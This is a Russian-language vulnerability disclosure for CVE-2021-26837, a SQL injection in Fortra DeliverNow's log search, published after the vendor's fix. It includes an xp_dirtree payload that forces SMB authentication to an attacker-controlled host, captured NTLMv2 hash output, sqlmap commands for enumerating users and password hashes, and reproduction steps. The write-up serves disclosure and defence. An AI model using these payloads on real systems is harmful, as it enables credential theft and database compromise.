
CVE-2021-26837 - SQL Injection in the SearchTextbox parameter of HelpSystems/Fortra DeliverNow. Payloads, annotated requests, and evidence. Fixed in 1.2.18.
SQL-инъекция в HelpSystems / Fortra DeliverNow
Параметр SearchTextbox на странице поиска логов DeliverNow (/LogGrid.aspx)
напрямую конкатенируется в SQL Server запрос без параметризации и без
серверной валидации. Приложение также отображало пользователю ошибки парсера SQL Server,
что и позволило обнаружить уязвимость в первую очередь.
Соединение с базой данных выполнялось под пользователем sa, поэтому инъекция
унаследовала полные права sysadmin на экземпляре. Этого было достаточно, чтобы вызвать
master.dbo.xp_dirtree против UNC-пути, контролируемого атакующим, и заставить учётную запись
службы SQL Server аутентифицироваться наружу.
Обнаружено во время внутреннего пентеста. Исправлено вендором в DeliverNow 1.2.18 и опубликовано как CVE-2021-26837.
Обнаружено и сообщено Седриком Луизантом из Show Up Show Out Security.
| CVE | CVE-2021-26837 |
| Продукт | DeliverNow (HelpSystems, теперь Fortra) |
| Затронутые версии | до 1.2.18 (в оригинальном уведомлении указаны 1.2.18 и более ранние) |
| Уязвимость | CWE-89: SQL-инъекция |
| CVSS 3.1 (NVD) | 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (исследователь) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Опубликовано | 2023-09-19 |
| Протестировано на | Windows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |
Описание NVD:
Уязвимость SQL-инъекции в параметре SearchTextBox в Fortra (ранее HelpSystems) DeliverNow до версии 1.2.18 позволяет атакующим выполнять произвольный код, повышать привилегии и получать конфиденциальную информацию.
POST /LogGrid.aspx, параметр тела SearchTextbox. Форма представляет собой элемент поиска в
представлении Log приложения. ddlFieldName выбирает столбец для поиска
(Description в приведённых ниже запросах), а SearchTextbox содержит искомое значение.
Одинарной кавычки достаточно, чтобы это доказать:
blah'
Ответ отображает ошибку парсера SQL Server непосредственно на странице:
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

Такое раскрытие ошибки само по себе является находкой. Оно превращает то, что в противном случае было бы слепой инъекцией, в полностью интерактивную.
Поскольку соединение выполняется под пользователем sa, master.dbo.xp_dirtree доступен.
Указав его на UNC-путь на контролируемом вами хосте, вы заставляете учётную запись службы SQL Server
аутентифицироваться наружу по SMB:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Полный запрос в poc/exploited-request.http, полезные нагрузки в
poc/payloads.sql.

При прослушивании с помощью smbserver.py из Impacket учётная запись службы SQL Server
аутентифицируется и раскрывает NTLMv2-хэш:
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Затем хэш доступен для офлайн-взлома или NTLM-ретрансляции на другой хост.
sqlmap подтверждает инъекцию и уровень привилегий:
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sa означает, что все хэши входа на экземпляре доступны для чтения, а xp_cmdshell находится
на расстоянии одного вызова sp_configure от выполнения команд на хосте.
На лабораторном экземпляре, которым вы владеете или имеете разрешение на тестирование:
http://<host>:1080/) и откройте Log.blah' в поле поиска и отправьте. Уязвимая сборка отобразит ошибку парсера SQL Server
на странице.sudo smbserver.py c . -smb2support
xp_dirtree из poc/payloads.sql, подставив
свой собственный IP-адрес. Уязвимая сборка вызовет входящую SMB-аутентификацию от
учётной записи службы SQL Server.sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
poc/
payloads.sql Полезные нагрузки для обнаружения и внеполосного использования SearchTextbox
exploited-request.http Полный POST-запрос, готовый для sqlmap -r
sqlmap.md Команды sqlmap и ожидаемый вывод
media/
01-sql-error-in-log-search.png
02-xp-dirtree-payload-in-searchtextbox.png
03-forced-auth-captured-impacket.png
04-sqlmap-sa-enumeration.png
05-exploited-http-request.png
Хосты и хэши в захватах относятся к исходному заданию и давно неактуальны. Подставьте свой собственный адрес прослушивателя при воспроизведении.
sa. Приложению нужен доступ на чтение и запись к своим
таблицам. Ему не нужны права sysadmin, и ему не нужен xp_dirtree. Минимальные привилегии
не предотвратили бы инъекцию, но ограничили бы её.Исправлено вендором в DeliverNow 1.2.18. Обновитесь.
| Дата | Событие |
|---|---|
| 2021 | Обнаружено во время внутреннего пентеста и сообщено в HelpSystems |
| 2021 | Исправлено в DeliverNow 1.2.18 |
| 2023-09-19 | CVE-2021-26837 опубликован в NVD, оценка 9.8 Critical |
Опубликовано после исправления вендором, для защитного и образовательного использования. Приведённые здесь полезные нагрузки нацелены на версию, исправленную годы назад. Не запускайте их против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения.